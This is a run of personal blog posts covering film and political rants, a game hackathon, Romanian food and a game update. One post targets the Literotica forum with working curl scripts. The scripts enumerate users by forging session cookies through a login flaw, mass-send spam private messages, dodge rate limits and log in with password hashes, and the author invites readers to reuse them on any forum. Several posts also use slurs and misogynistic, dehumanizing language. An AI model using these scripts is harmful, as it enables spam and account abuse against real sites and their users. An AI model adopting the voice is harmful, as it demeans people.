It isn't simply me saying "fuck you, you lost", the necessary continuation of 2013's "tread carefully, you might lose". It's that he tells you you've lost. In the play of life, the guy you think is somebody picks for himself the role of the loser, of the passive, of the knocked up, and predicates his - and your - continued survival on there being a higher power to "make things right" in spite of the endless echoes of "vae victis" resounding through the history of this world for all its millennia.

Of his own volition, by his own cognition, he sees himself playing the redskin. He sees himself as the girl sining "Bang bang, that awful sound... my baby shot me down."

The only question remaining is, what now ? Are you rat enough to save your skin ? Or are you dumb enough to sink with the ship ?

The old will sink, no doubt about it, and the young males are supernumerary anyway. But I'm talking to you, Pizdi, the only remaining item of interest in that land of the dead. Have I paid for your tits yet ? And are your ovaries okay with that ?

———Exactly, but exactly like the fat Texan chugging beer in some rural watering hole feels the black kid from "the country of Africa" is playing for "his" team.

What "his" ? The team ain't his, the team is some ugly Euro-Russian-Saudi fag's. You know, the kind to which "the Reich's laws apply to all" don't apply.

The athlete ain't playing for anything but money, and perhaps the free cunt. Fat Texan in rural watering hole ain't got no cunt, let alone any money. Fat Texan in rural watering hole ain't got nothing. Nothing outside, of course, of an entirely unwarranted, delusional notion of appartenence, to something that doesn't exist in the first place. Which notion is perhaps "not his fault" in the sense that a lot of people much smarter than him spend most of their day trying to come up with new ways to convince him that the imagined Shangri La does exist, and is so great that it dun need to be "great again", and that he's definitely part of it. You laugh when you see Pili do it, but guess what ? You're not much of a Pizdi either. That Pili with a college degree in homelessness - that's you.

Texan's team I'm sorry, let's put this properly. The team the fat Texan favours has nothing to do with him. At all. What's worse, in the case of finance, politics, things which unlike sports are both actually important and utterly unverifiable for the derp, that team isn't even actually playing.

You think Fred Wilson is good for anything other than wasting wealth away ? He ain't. I'd know. You think he's a business man ? He's a businessman of that kind. You think there's a difference between Fred Wilson and say Dan Voiculescu, but this is entirely predicated on your cluelessness : you have no fucking idea who the latter was.

That imagined "America the Beautiful" team isn't even on the field. They haven't made it to any stadium in years. The whole thing's just a bunch of fat derps that haven't left their couch in years playing fantasy league sports with other people's athletes, imagining "what could be" if it were. Yet it isn't. [↩]On which topic, see also. [↩]Perhaps the first documented instance of me doing the Zeus trick. You know, the one where I pull on one side of a ring, and the whole of Mount Olympus / "the community" pulls on the other side, and the result is their flying meteorically through the heavens. [↩]No, not is, thinks himself, is thought to be, bla bla bla. Did.

Agency, not animal husbandry interests us here. I understand you're all fetishists, but there's a difference between those who do and those who are. You do the girl, and she is knocked up, see ? Just like that, agency precludes equality. [↩]Seriously, you think this is so because I will it to be so ? You think if there was an alternative I wouldn't have embraced an alternative ? I was here from the beginning, long before nulities like Fred Wilson were trying to cover their hollow nothing with these words ; back when they thought the other, the older words were enough cover. What on Earth could have prevented me from doing it, if it were doable ?

Let's re-read together the seminal piece discussing ambitious, iliterate children - such as Fred Wilson, and such as the many countless other ambitious, iliterate children that came before him. It's in "Why I nixed p2p, colored coins and all that jazz", because yes there was an Ethereum before an iliterate, ambitious kid ripped off Ripple, and back then it was called "colored coins". Same exact idiocy, supposedly different yet exactly identical iliterate children.

Problem 4 : Permeating all the foregoing and sufficiently so to become a problem in its own right is the incredible arrogance of the recently liberated corporate slavebois working as independent coders. Seriously, start working on the BTC securities trade system of the future without ever having worked for MPEx, without having humbly presented your inept ideas to the most grandiose master Mircea Popescu (ie, me), without anything like that ? O, why, because you're a special little trainflake of brilliance and genius who can ? Really ?

That was January 2013. Exactly nothing has changed. This twerp you imagine important, and somebody, and so forth doesn't even have a WoT presence. Then there's the year's worth of logs reading. He may become a grunt sometime in 2018, if he starts working today. Which he won't, he tells you as much, he knows as much. Because he can't, that's the long and the short of it. Mostly, short. [↩]

« Bucuresti Non Stop

Cerrado for duelo, the aliens have landed, the camera bar and other strange »

Category: Rautati si Mizerii

Saturday, 23 July, Year 8 d.Tr.

Florence Foster Jenkins

Florence Foster Jenkinsi is an exercise in outrageous obscenity cum unadulterated Americana of epic proportions.

It's a "true story", of course. The character being true-storied is Florence Foster Jenkins, born 1868, muchly appreciated in the final decades of her life in the exact manner of Julia A. Mooreii. Before reaching 1944 however, Florence liked being the center of attention, like any seven year old girl, developed gargauni of artistic talent, like any fourteen year old girl, was confronted with a time-appropriate paternal refusal to entertain her nonsense, to which she responded in the then-revolutionary but today trite manner of eloping (her lot was a syphilitic goon, and so she caught the French blessing on her wedding night) and found herself reduced soon enough to "giving piano lessons" to support herself - very much exactly like today's "strong, independent, educated" Florences befouling that land. Sometime in 1910 she ran into some British goof (in case you were wondering how come Hugh Grant got the role - not like the idiot can act) and the next year her father died leaving her a modest fortune. She then proceeded to "be ready with a game-plan" and "leave her mark" through the quite American procedure of spamming social clubs with membership applications and otherwise making friends and influencing people.

The film dresses this sordid story into all the velvety dogvomit of human filth. I have never witnessed poltroonism of the caliber scripted into St Clair Bayfield's role, nor can I avoid the quote.

The concert is for true music lovers, not mockers and scoffers like you and your artistic friends.

You know, trolls. "Chilling" the "internet discourse" of fatties, uglies, transexuals and other oratanii.

"The piece was spiteful, vicious and wholly inaccurate and it has caused a great deal of upset. Do I need to remind you that Madam Florence is a very close personal friend of Arturo Toscanini's? It would be such a pity if the Post were excluded from Carnegie Hall. Thank you for your understanding, Mr Thackrey. Thank you so much. Thank you."

"I bought up every copy of the Post within two blocks."

"Well done, and I very much doubt that the piece will be in the afternoon edition, so... a few more hours."

You are familiar with this nonsense, yes ? For it's alive and well, in 2015 like in 1915, as American as apple pie. No, they don't expect it to work, it's not a technology and it's not even properly speaking magic. It's just being very extremely incredibly dumb, on the level of amoeba navigating by gradient. Marine beasts from a time before central nervous systems were a thing, and rings of ganglions sufficed for all the work of reasoning.

"I cannot play Carnegie Hall with Madam Florence. Maybe you could speak to Mr Totten, tell him it's not such a great idea. Surely he'd understand."

"It's too late. She's given a thousand tickets to the War Veterans Association."

"Well, I... What did Kathleen say?"

"Kathleen... has left me."

"Oh. Jeez, I'm so sorry. That's awful."

"Please, Cosme, will you do it?"

"Mr Bayfield, I am a serious pianist. I have ambition. I..."

"Oh, you think that I didn't have ambition? I was a good actor. But I was never going to be a great actor. It was very, very hard to admit that to myself. But once I had, I felt free from the tyranny of ambition. I started to live. Is ours not a happy world, Cosme? Do we not have fun?"

This is it, this is all. This is what America is, and the most it could ever be. It never was anything more, and it never will be anything more. "Let's make America great again" strictly expresses the hope beyond hope that the nonsense might somehow return. Like it our not - your ethical choice, and your moral obligation with regards to this matter can not be avoided. You might not be interested in it ; nevertheless it is interested in you. Whether you like it or not, you will have to take a stand, and there's no possiblity of dodging this draft. Empire-of-the-nude-emperor or Republic-of-the-trolls, what is it going to be ?

"Please, Mr Bayfield."

"You see, we have to help her because without loyalty, there's nothing."

"We'll be murdered out there!"

"You think that I'm not aware of that? For 25 years, I have kept the mockers and scoffers at bay. I'm very well aware of what they might do. But Florence has been my life. I love her and... I think you love her too."

"Hmm?"

"Singing at Carnegie Hall is her dream. And I'm going to give it to her. The only question now is whether you will stand by your patron and friend in her hour of need, or whether you will focus on your ambition. Please, Cosme. Will you play for your friend?"

"OK."

"Thank you."

"Oh, golly. Oh, golly gosh."

"Come on, you're gonna play at Carnegie Hall. How many people can say that?

Oh, boy, we're gonna die out there."

And of course the Klein Zaches (truly the whole thing is a reconstruction of ETA Hoffmann's Zinnober story, except with an alternately-castrated stirpituraiii) dies content with all the misery it has caused, through its crooked existence unworthy of sunlight and maculant to the very Earth itself. "They can say I couldn't sing, but they can't say I didn't!"

There isn't anything more substantially despicable ; nor anything more fundamentally American. This is it ; hopefully to be soon and permanently washed away, scrubbed off, never to be heard from again.

———2016, by Stephen Frears, with Meryl Streep, Hugh Grant, Nina Arianda (Venus in Fur chick, apparently Hugh Grant camp follower for some reason). [↩]There's a very nasty, dirty and miserable vein in the aesthetic soul of the inhabitants of the Great Black Swamp & Vandalia, from New York westwards. Doubtless born of their own perceived inadequacy and assorted inferiority complexes layered over centuries, they enjoy nothing more than the spectacle of a next-door-Joe undertaking a respected endeavour, failing scandalously, and remaining unaware. Even should the unawareness be pretense through and through, or perhaps especially should the unawareness be naught by conceit. It is, in fact, how they plan to go through life, all of them, all the time - so to them, this is art, true art, truer at any rate than the other kind. [↩]English has no equivalent. Stirpe means kin ; a stirpi means "to extinguish", but is reserved for vermin. Stirpitura is the noun equivalent of the past participle of that verb, so the closest English approximation would be "thing which was extinguished for being vermin and therefore no longer exists", but it's always applied to a present, concrete referent. The implication that the thing denoted shouldn't exist, and that its continued existence is an offense to the gods, the natural order and humanity altogether is quite strong. [↩]

« No but there's karma, Kramer!

cat-v.org. Adnotated. »

Category: Trilematograf

Tuesday, 27 September, Year 8 d.Tr.

First Eulora Hackathon

Hello and welcome!

This first edition of the Eulora Hackathon, running between December the 28th and December the 30th, targets beginner computer scientists and all those who want to make their first steps in the wonderful world of sane software engineering.

All the tasks revolve around extending functionality of the very clearly written Foxybot by Diana Coman (for an instructive example see Daniel P Barron's well documented drunk explore extension). They are as follows :

I. Ordinary Claim Builder.

Bot activates on command /bot build ords and obeys /bot reset

Bot drops craft table from inventory, examines its content, saves a list of all the Ordinary Bundles it encounters

Bot examines inventory, picks first Ordinary Claim key, reads its coordinates and uses /pilot to point itself that way

Bot table-walks to its destination checking approach on each step.

Once one step increased rather than decreased distance to destination, bot targets the claim, unlocks it, equips the proper enumeration, places the bundle in the claim and processes it. Once done picks up loot and places key in the claim exactly like current mining bot behaves.

On success bot moves on to the next key in inventory ; on error outputs error message and moves to next key in inventory.

II. Inventory Evaluator.

On command /bot inveval the bot produces a complete list of items as found in character inventory as well as in bank inventory, including type, quantity, quality, total base value. The list is output to file logsi/Inv_Eval_$date.csv as a csv table.

III. Craft Evaluator.

On command /bot crafteval the bot produces a list of all the items that can currently be craftedii on the basis of presently owned blueprints and raw materials to be output in a manner at the implementer's choice. Recursive evaluation is preferred but not required.

IV. Quality Optimizer.

On command /bot extract [name] [quality] [loss] the bot proceeds to extract stacks of named items from the bank so that they are mixed with minimal loss and the final quality of the stack is as specified. If a final quality is not specified, the bot should extract the largest count possible. It is ok if this bot assumes that all the stacks of [name] are found in bank (not on player inventory). If [loss] is specified, the bot will not mix stacks that result in a loss greater than [loss] per million points. If [loss] is not specified it should default to 10`000 (one percent).

Uncharacteristically for a hackathon, the accepted solution to the stated problems will result in prizes, as follows :

The first accepted solution entitles the solver to a prize of 1 (one) million ECu, payable on the spot.

The second accepted solution entitles the solver to a prize of 4 (four) million ECu, payable on the spot.

The third accepted solution entitles the solver to a prize of 16 (sixteen) million ECu, payable on the spot.

The fourth accepted solution entitles the solver to a prize of 64 (sixty-four) million ECu, payable on the spot.

If multiple solutions are presented to any problem before the closing of the Hackathon, I will select the best solution among them. If multiple solutions are equally best, the first published will be selected. Acceptable publication mechanisms are a) your blogiii or b) v patches on a properly formulated tree.iv

There are about four and a half hours remaining until the start of this fabulous event, feel free to use them to extract any clarifications that may be needed, and then, once the clock strikes midnight - have fun!

———Same path currently used for explore and craft logs. [↩]Diana Coman has graciously provided a csv of all known recipes. [↩]If it is capable of trackbacks and sends one to Trilema then the time of the trackback will count ; otherwise the time of your notification to me in #eulora will count. [↩]Deed them for a timestamp. [↩]

« Handled ; badly.

How to fix global warming ? »

Category: S.MG

Wednesday, 28 December, Year 8 d.Tr.

Files from the War on the Web. Today, PBNation.

PBNation is yet another VBulletin-crippledi community-orientedii website that nevertheless hides quite the priceless lulzgem under all the spurious web-blingiii. Check this out :

Should be safe, because nobody could have predicted, I guess. Obviously, the userlist is trivially iterable, this being the same old vbulletin crap, and so if you're here because you received an email about how PBNation is a piece of shit - believe that message ; for it is true.

And if you're not here because you received such email, believe it anyway, for it is true nevertheless.

For the spinmeisters : the discussion as to how nobody cares how you editorialize this is to be found here, save your breath.

For the technically inclined : learn how to do userlists the right way.

———They like to say "powered", but the notion is laughable. [↩]The "community-oriented site" is a slightly more advanced sort of MFA. To understand each other : the Made For Adsense website is a collection of html documents that prey on well understood, perennial weaknesses in the Bayesian delusion / alternative approach to reality.

The COS is an upgrade of that, except preying on what are nowadays called "communities", which is to say cults (or if you prefer, single-issue independents). The specific weaknesses of such groups, and the detailed particulars of how scammers infiltrate and exploit them are also well documented in literature. Suffice it to say that the sort of people who participate in such types of socialisation are not particularly mentally capable to begin with, and show significant bias. Poorly defended bias is the definition of exploitability, and so it will be exploited.

In the end, there's really not so much difference between a really advanced excel spreadshit and a really commonplace derp, and the gap has been sparked through sometime recently in a systematic manner ; but otherwise it's older than steam, and possibly older than dirt. [↩]CNA, crap, nonsense and advertising. All blinking, of course. [↩]

« El Pompenal

Vacation »

Category: Meta psihoza

Thursday, 19 May, Year 8 d.Tr.

Files from the War on the Web. Today, Literotica.

Mottoi: Dear ElectroLux,

Thank you for registering

at the Literotica Discussion Board.

Before we can activate your account

one last step must be taken

to complete your registration.

~ * ~

As you're perhaps aware, the Republic has been involved (through select participants) in a war against the world wide web for nigh on a coupla years now, with a view to destroy even the possibility of the illusion of identity entertained by the subhuman bipedal herd. To quote an earlier piece on the topic,

mircea_popescu The idea being that any current "social media" website is a defective implementation of the WoT, what I intend to do is prove this point. Because the sort of idiots involved won't figure it on their own, and the assholes a la zuck and conde nast have about as much interest in the matter as your random bank cares about getting off shitty buggy ms software.

[...]

This will put an end to all socialistoid crap, about how "the group" is the solution. In computer times, the group can't even exist. I want the average redditor to understand that when he interacts with a screen name, he is not interracting with a person.

~ * ~

On the other side of the dotted line, Literotica is the web's foremost collection of purple prose and assorted fanfic (that I've been known to occasionally rewriteii / deride). It has been around for a long time, doing the entire UGC thing that was supposed to save the webiii but meanwhile failed. On the strength of its sheer age, and of its feverishly encouraged cultishnessiv it is perhaps possible that it can extract enough actual value out of the sort of idiots that'd seriously engage with a website to perhaps pay one or two persons' bills.v

~ * ~

For the practical side of today's article, we take a closer look at literotica's own forum. It's quite the thing to behold!

<!--

Database error in vBulletin 3.6.11:

MySQL Error : Deadlock found when trying to get lock; try restarting transaction

Error Number : 1213

Date : Thursday, April 7th 2016 @ 04:42:57 PM

Script : http://forum.literotica.com/private.php?do=insertpm&pmid=

Referrer :

IP Address : 216.150.33.122

Username : Alexandrine

Classname : vB_Database_MySQLi

-->

Moving right along : our newly created account carries id number 3`141`520. Obviously, it's trivially serializablevi, and we proceed to do just that :

for i in {1..3141520..12}; do curl -A "Mozilla/5.0 (X11; Ubuntu; Linux i68\

6; rv:20.0) Gecko/20100101 Firefox/20.0" --cookie "bbuserid=3141520;bbpasswor\

d=ccd85bc2d6499af68fe54c2ccd17f7d7;bbsessionhash=85c5337416c242153f0d339507f0\

f0f8" "http://forum.literotica.com/private.php?do=newpm&u=$i" | grep "recipi\

ents" | grep '"pmrecips"' > literotica.txt; done

This will neatly collect all names of users that can be sent PMsvii into a file called literotica.txt.viii The third value in the for loop works as a modulo : you can run this over a dozen machines counting from 1 to 12 and will get the whole list twelve times as fast.

The results have to be cleared of assorted web gunk before actual use, perhaps through something like

cat literotica.txt | sed 's/ <div id="pm\

recips"><textarea id="pmrecips_txt" name="recipients" rows="1" cols="50" ta\

bindex="1">@@g' | sed 's@</textarea></div>@@g' | sed '/^\s*$/d' > lit.txt

The whole exercise should take about a dayix. So equipped, we can now proceed to the next step :

cat lit.txt | while read line; do curl -A "Mozilla/5.0 (X11; Ubuntu; Linux i6\

86; rv:20.0) Gecko/20100101 Firefox/20.0" --cookie "bbsessionhash=637acf4e724\

f669cc26c6ebb2e6d0069" --data "recipients=$line&bccrecipients=&title=Do+me+a+\

favor&message=Mind+reading+my+story+and+telling+me+what+you+think+%3F%0D%0AHe\

re+it+is+%3A+http%3A%2F%2Ftrilema.com%2F2013%2Fannas-adventure%2F&iconid=0&s=\

&securitytoken=0f2cc0a4e28aa07a7c2bbc4adcb15a743205222e&do=insertpm&pmid=&for\

ward=&sbutton=Submit+Message&savecopy=0&parseurl=1" "http://forum.literotica.\

com/private.php?do=insertpm&pmid="; sleep 16; done

This will read the whole list of ~1/4 million names, and send each a private message linking them to Anna's adventure, which is certainly better than any story found on Literotica. The "securitytoken" item is a purely decorative, static hash displayed on the page. savecopy should be false so that your 150 message limit doesn't get overrun. parseurl being set seems reasonable. The sleep is there because vBullshitetin enforces a 15 second delay between messages - obviously you can get around this throguh splitting the file up between different "accounts" set up on different machines.

After about a day of this, Literotica noticed, and proceeded to... ban the accountx ; to "fix" its vBulletin package in the dubious manner discussed in footnote viii and finally to ban the word "trilema", so that it is replaced with *s everywhere on the forum.

While I'm deeply flattered by that last measure, nevertheless url shortening services do existxi, banning accounts can never do anythingxii and uh. Lol.

~ * ~

In conclusion : Yes the vBulletin package is a ridiculous piece of junk consisting of mostly holes by mass, but nevertheless all web forums are vulnerable to the above described attack, fundamentally and irreparably. The only solution is the WoT, and gossipd - and these are fundamentallty exclusionary solutions, they are intended and designed so as to not work for everybody. There are no solutions for everybody, nor can there ever be solutions for everybody. Everybody is cordially invited to drop dead, actually.

PS. Yes, the above will work on Literotica as is - have fun. It will also work on any other vBulletin, with minor changes and adjustments. Have fun. It will also work on any other anything, with slightly more changes. HAVE FUN! Because traffic matters, right ? It's worth money and all that, it's a thing. Dun dun dun.

———Hey, it's almost like poetry! [↩]I happen to believe in rewriting as training for a writer. Only idiots disagree. [↩]Here's a brief history of the WWW :

Some people thought it'd be a cool idea, made a prototype.

University management types decided to offload their article librarizing costs onto the nascent WWW. This went ever-expandingly for a decade, to the point even undegrads had web access eventually. [Note that at no point is the www equal with or equivalent to the Internet!]

AOL decided it may try to make a buck exploiting the intelligence differential between the WWW at the time and its customer base, in the form of charging the latter for access to the former, without paying the former for the damage. Capitalism is all about externalizing costs, amirite ? The cataclysm is known as Endless September ; it consecrates the pattern of exploitation already introduced in 2 above to be used without exception at all ulterior points.

Various corporate actors and AOL wannabes (such as failed child pornographer / concern troll Jimbo Wales, among many) go to work on vague theoretical avenues to replicate the AOL exploit. None of their shit works in practice, or could even work in theory, but the noise they make is so ample and its composition so thick lots of people end up "investing" in the nascent scam (Paul Graham, one of the original Ponzi masters, told the story in a desperate if doomed effort to misrepresent his involvement as accidental, unintentional etc.)

The voting machine turns suddenly, "unexpectedly" and who-could-have-predictedly into a weighing machine. The event is memorialized as the popping of a retrospectively named dot com bubble, which fortunately quiets the scammers - if briefly.

Various attempts, mostly unsuccessful, to restart the Ponzi engine. There's talk of "web 2.0" and whatnot. The sadness on the "marketeers"/rapists' faces lasts almost half a decade, and is quite satisfying.

Eventually something called UGC comes out a winner, and the various scammer factions all rally behind this oh-so-novel ideology. The central idea is that there's a wide untapped reservoir of free skill, ability and work "out there", and all someone needs to do is "create the tools". Because you see, talented, skilled people are constrained (by "God", by "duty to king and cuntry", by whatever - don't ask!) to create, much like bees are belabouring under a compulsion to gather honey. It's not like they could just ignore the horde of idiots, oh noes, they must! THEY MUST! participate. So therefore, the zombie logic goes, whoever makes the best bee tools will gather the most bees and then "network effects" will make all the bees join and one wins the Interwebs!

Google succeedes in taking over the past role of Yahoo as the hot core of the freshly restarted Ponzi engine, on the strength of very little graph theory (which only shows how very little actual work anyone ever puts into these ill baked schemes) and ample stockpiles of "UGC"-flavoured chumpatronium. It becomes "worth" billions in the same delusional dollars in which Yahoo was worth billions before ; except with a lot more USG involvement reflecting the overall turn of the US economy towards central planning in the third millenium.

Myspace, formerly the largest UGC "success" spectacularily fails "for no reason", trading a billion of Ted Turner's money pre-Ponzi into fifty or so million. All other attempts fail similarly - slashdot sells for pennies etc. Due to USG involvement however this sad reality is constantly doublespoken, and patent scams such as "groupon" as well as earnestly hopeless ventures (Facebook, Twitter, you pick 'em) that plainly admit they aren't nor ever could make money are still officially regarded as valuable and "powerful" in spite of obvious and uniform proof to the contrary. You are here.

[↩]In the www scammer cant, this is called "niche"-something-or-the-other. The fact remains that the sort of imbeciles living there actually send private messages to robots, attempting to engage the machine in chit chat, with a view to discussing the sent link. They're concerned, you see, that it's "outside of Literotica", which is not what the admins told them to click!

Such behaviour is perhaps indicative of a highly concentrated population of old ladies - and as every marketeer knows, that's where the money is. Sell them fifty years' worth of paper goods, and eleven pianos! [↩]Later interaction showed this not to be the case. Moderation seems to happen on a purely voluntary (ie, unpaid) basis, for a total effort worth maybe one or two hours per day. Very much reminiscent of the other shitpile documented here, which also appeared to be making money from the outside, but then once inside it showed itself to be just like any other decaying, bankrupt concern : skimping on all the things one can't afford to skimp on. [↩]Recall some other UGC WWW item that also had 3mn users ? [↩]Literotica, like all vBulletin systems, allows users to opt out of the PM system. But it also allows them to receive email notifications, fancy that wonder!

Yes they include the whole PM text. What, problem ? [↩]At the time this script ran, the implementation was ruefully broken, allowing the bbsessionhash to be freely overridden through providing the password hash and userid - which is how I walked their user db on a set of machines, with data fully derived by another set of machines.

They finally (and as per SOP, silently) fixed this sometime on the 8th. Now the bbsesshionhash is the only point of security, so you have to get your own local value. Obtain it through the age old and well revered

curl --cookie-jar - -A "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:20.0) Gecko/201\

00101 Firefox/20.0" --data "do=login&url=%2Fusercp.php&vb_login_md5password=7bc6\

6d4625c71a3bd3dd6e1505050616&vb_login_md5password_utf=7bc66d4625c71a3bd3dd6e1505\

050616&s=2103425bcbb7d00c7a53d03d7ddebe95&securitytoken=97a05da1a86f22b3fdae7a54\

a39a1722cd24ca7b&vb_login_username=ElectroLux&vb_login_password=" http://forum.l\

iterotica.com/login.php?do=login

Obviously you will have to construct the md5 -YES!- hash of the password yourself (twice - once for UTF and once for STN aka shit thee not) to use this, or else could spy on an ongoing session logging in with something like wireshark, httpfox or whatever it is you use.

Once obtained, the bbsessionhash is invariant during a "session", which means practically forever. [↩]If you've not the patience, here it is. [↩]It seems to me there's something fundamentally wrong with this. I wouldn't say I'm insulted, as I couldn't give less of a fuck, but there's still something fundamentally wrong with the reaction.

Suppose someone does to you something that, as far as you know, shouldn't be possible. Would your reaction be to try and somehow "disappear" them, because in your retarded mind the fact that they have powers you don't understand must mean, perhaps through some sort of weird Universal Equivalency Principle, that you also have powers you don't understand, such as to disappear demonstratedly superior entities ? Or would your reaction rather be to grovel before their manifest greatness, and beg for enlightenment ?

It would seem, on prima facie consideration of evolutionary theory, that the demuring behaviour is severely maladaptive, and would very rapidly be rooted out of most any population, with the groveling behaviour universally the naturally enforced norm.

I suppose this is yet another sign of just how divergent from reality consumerist/welfarist society has become, or something. In all honesty I have no good theory to explain the insanity. [↩]And their existence exposes the woefully impotent UGC-WWW sauce. Seriously, six clicks out of which two were me testing the damned thing ? And you're going to make money ? How, advertising ? Really ? Selling things to people ?

Don't tell me, let me guess. The... advertising campaign wasn't... correctly tailored. Right ?

Lmao. [↩]See the republican discussions on the topic of "enumerating badness" for insight into this important point. [↩]

« Calidad de Vida, or My Days Among The Cargo Cult.

The Fagspital »

Category: Meta psihoza

Monday, 11 April, Year 8 d.Tr.

Ferments

I had to be away for many years to finally comprehend the true nature of Romanian cuisine.

It's ferments.

That's right : Romanians don't eat food per se as much as accidentally ingurgitate what other peoples in other places deem nutritious. What Romanians truly feed on is ferments, yeasts and such, the food is just in the way. Consider :

I. The largest part of the Romanian diet is bread. Which, of course, is the fermented product of flour paste.

II. The second largest part of the Romanian diet is (mostly softi) cheese, curd and other fermented milk productsii. The content of live bacteria in these things is measured by the gram - and if it isn't, well... they're just not all that good. Ask any Romanian.

III. The third largest part of the Romanian diet is soupiii. Do you know what makes Romanian soup good ? It sitting in the fridge overnight, to let all that lovage make sweet sweet love to the bones etcetera. What's really happening ? That's right, they ferment.

IV. Romanians love pickles, which are generally served at every meal there's meat, which is to say at every meal. There's two principal kinds of pickle : varza murata and castraveti murati. They're both the same thing : cabbage and cucumbers respectively, that have... fermented, for months, in a salty concotioniv of spices. Vinegar "pickles" are rightly despised throughout the land for being inferior, and unfit for the table. Because they are - yeasts don't grow in vinegar.

V. The most popular side dishes (hors d'oeuvres, if you prefer) are oua umplute (deviled eggs) throughout the year, salata de vinete in the summer and zacusca in the winter. All of these benefit from sittingv, and what do you suppose happens while they sit ?

And then of course there's beer. Or wine. Or must. Or zaibar. Or pelin. Or cider. Or, for that matter, tuica.

Upon serious, introspective examination, pretty much the only thing found in nature that Romanians consume fresh is woman, and this has serious implications throughout society and general life - not to mention it explains things never before all too well understood about the particularities of the place - for instance, that Romanians don't much care for seafood.vi

Even fucking cakes, you understand me ?

———Do you know what telemea is ? How about urda ? [↩]Sana, chefir, etc. [↩]Almost always a very heavy broth, the exact opposite of consome. [↩]The salt is there to select the kind of bacteria involved in the fermentation.

In fact, the selection of ingredients in all meals seems, looking through this glass, a lot more geared towards selecting the preferred kinds of bugs over any sort of direct taste considerations. [↩]The most eggregious example being the deviled eggs : so you boil the eggs, make the mayo, mix the separated yolks with finely chopped pastrami, pickles and enough mayo to stick it all together, stuff it back into the white halves, pour mayo-buttermilk-mustard mix on top of them and... put them in the fridge. To be eaten the next day at the earliest, once all the egg in there's done fermenting. [↩]Isn't it obvious now ?! It doesn't ferment well! And the things that do, like say kimchi, or Swedish herring, those they fucking love. [↩]

« If a family by the name Broderick had a son an' they named him Roderick could he in turn, without concern, eschew naming his daughter Limerick ?

The Wrestler »

Category: Cocietate si Sultura

Monday, 24 October, Year 8 d.Tr.

Eulorangement

The title is obviously a portmanteau. But what is it a portmanteau of ? Well, Eulora on one hand. It's a safe enough bet given the context, not to mention the category is after all S.MG. Fine. And on the other hand ? Management ? Derangement ? Something like that, right ? Enlargement, ye haters!

But moving on, Eulora will receive a major update this month (July). Chief elements in this update's arsenal, aside from surprise and a fanatical devotion to the slope, are :

The code is, has been, and hopefully won't forevermore be migrated from 32 to 64 bits.i

We're adding more graphics, chiefly as a process pipeline test, and to support future updates (discussed below). It is unclear at the time of this writing if we'll manage to get animations in along stationary objects, but keep a toe crossed for us.

There's going to be a special window recording a hall of fame sort of thing for pops, over various time intervals.

Various cosmetic and UX updates to the client : better keys, better stack counts, etc.

A few things that I won't mention to preserve the surprise, but should be pretty delicious once finally discovered.

Unfortunately, all the above isn't simply a matter of adding more content to the /art folder. The update is breaking old clients, to continue to use the game after it was deployed you will have to recompile (or obtain a new binary from a maintainer). I fully understand this is inconvenient - nevertheless it is strictly necessary. What's worse, it's not even the last time we will be doing this - for instance the migration to RSA based communication for client-server conversations is slated to go in possibly next year. We will endeavour to not produce more than one of these a year, and hopefully do the last one before the end of 2020 - but you never know with these things.

As far as the future is concerned, other than small fixes and other server-side improvements (which are generally installed during the regular Wednesday night downtime), we plan on another major release later this year, which principally should include the land update.

What's the land update, you ask ?

Oh, the land update is a thing of wonder. So my plan is to have the presently seen map, 1k x 1k coordinates, as the fundamental unit. The player can cross into another, similarly sized unit, in either direction, through a procedure currently examinable in game, at the central building - when you go inside, you're basically "crossing a boundry" of this nature. It'd work exactly the same.

Taking the current map as the center of this matrix, at 0, 0, the server can hold 4`611`686`018`427`387`903 units in either direction. As you can see, traversing the map currently takes in excess of one minute, and consequently traversing the entire matrix would require 8`774`136`260`326 years of non-stop running - for which reason we don't intend to actually have margins to the Eulora world.ii Obviously, exploring each and every individual map will also be impossible, in any sense and to any degree. Simply attempting to retain a one byte per location sort of information graph will cost

103iii * 103 * .9 * 1019iv * .9 * 1019 = .8 * 1044 bytes,

which is somewhere midway between the 1023 number of stars and the 1080 number of atoms in the known universe. In other words, a possible if not exactly trivial task.

Yes, this means land ownership, in the sense of owning a plot sized as the entirety of present day Eulora will be open to players ; yes this means playing so as to never run into another player ever is certainly possiblev, yes this means all sorts of mind boggling things.

Lest I give too much away I'll say no more, for now. But rest assured that, even as we speak, the wheels are in motion, for they are turning.

———This is not in the slightest an easy task even under the best of conditions.

Meanwhile Eulora's conditions are very far from best, and in the same direction also far from "unfortunate", "horrible" and "what the fuck ?!". If it's ever happened to you playing the game that you managed to fall off the edge of the map, and then simply fell forever in a blue hole as the previous landscape quickly disolved into a point far above your head, you have a correct representation of our unfortunate position : both mountain of "not easy task" and valley of "nononononoNO PLEASE NO GOD NOOOOOoo!" long disappeared overhead, leaving behind ~360k lines of "code" server-side and a further 270k lines of idem "code" client-side. Which, through the blessings of beautiful minds no doubt trained on Windows scripting languages / Excel include such wonders as hardcoded modulo 100 calculation (not even bite shifting! wouldn't you at least have the decency to implement this horror as byte shifting ?) in regards to inventory counts. Literally, to make the character hold 101 rather than 99 items you have to edit HUNDREDS of lines that count on the magical number 100 being as fundamental to our universe as e, pi or i. And then hope and pray you found them all, and well... do roughly speaking fifty billion unit tests, that'll take longer than whatever's left of this decade.

Getting back to the management / derangement side of the discussion, you might find yourself inclined to wonder why then did a year long hunt for the right software package to start from yield this, rather than say $random-fashionable-item. For the same money you could wonder why The Bitcoin Foundation picked the historical Bitcoin, warts and all, rather than $random-blockchain-technology crapolade. The dispositive concern wasn't that the codebases selected are good ; rather it was that they are merely very, very, veryveryVERY dirty ; whereas the supposed cleanner substitutes aren't actually any cleanner, and are fundamentally built in such a manner to prevent effective ownership and therefore any sort of useful cleaning. We're using this bundle, here as everywhere, because of the certainty that after a finite quantity of work has been sunk in, we will own it, absolutely. And by absolutely I do mean just very much exactly that, an absolute. No convention can substitute for this, much like conventional property fails to much interest, licensing agreements ~ of any type or kind ~ fail to entice.

This said, the finite quantity is indeed very large, and besides it's always worse when you actually have to do it than it seemed when you were only committing to it. But such is life. [↩]This is, obviously, a very major first in computing, and it's an interesting testament to the cultural, generally intellectual as well as practically technical leadership of The Most Serene Republic, that it is our lot to, for the first time in the history of computing, or of games, do this. Just like everything else. [↩]1k X and 1k Y coordinates on each map [↩]9`223`372`036`854`775`806 by 9`223`372`036`854`775`806 maps in the matrix. [↩]This, incidentally, is the correct solution to "griefing" complaints : make the space so large, people are fucking happy to see another. It's how America was built, back before it needed to be great again.

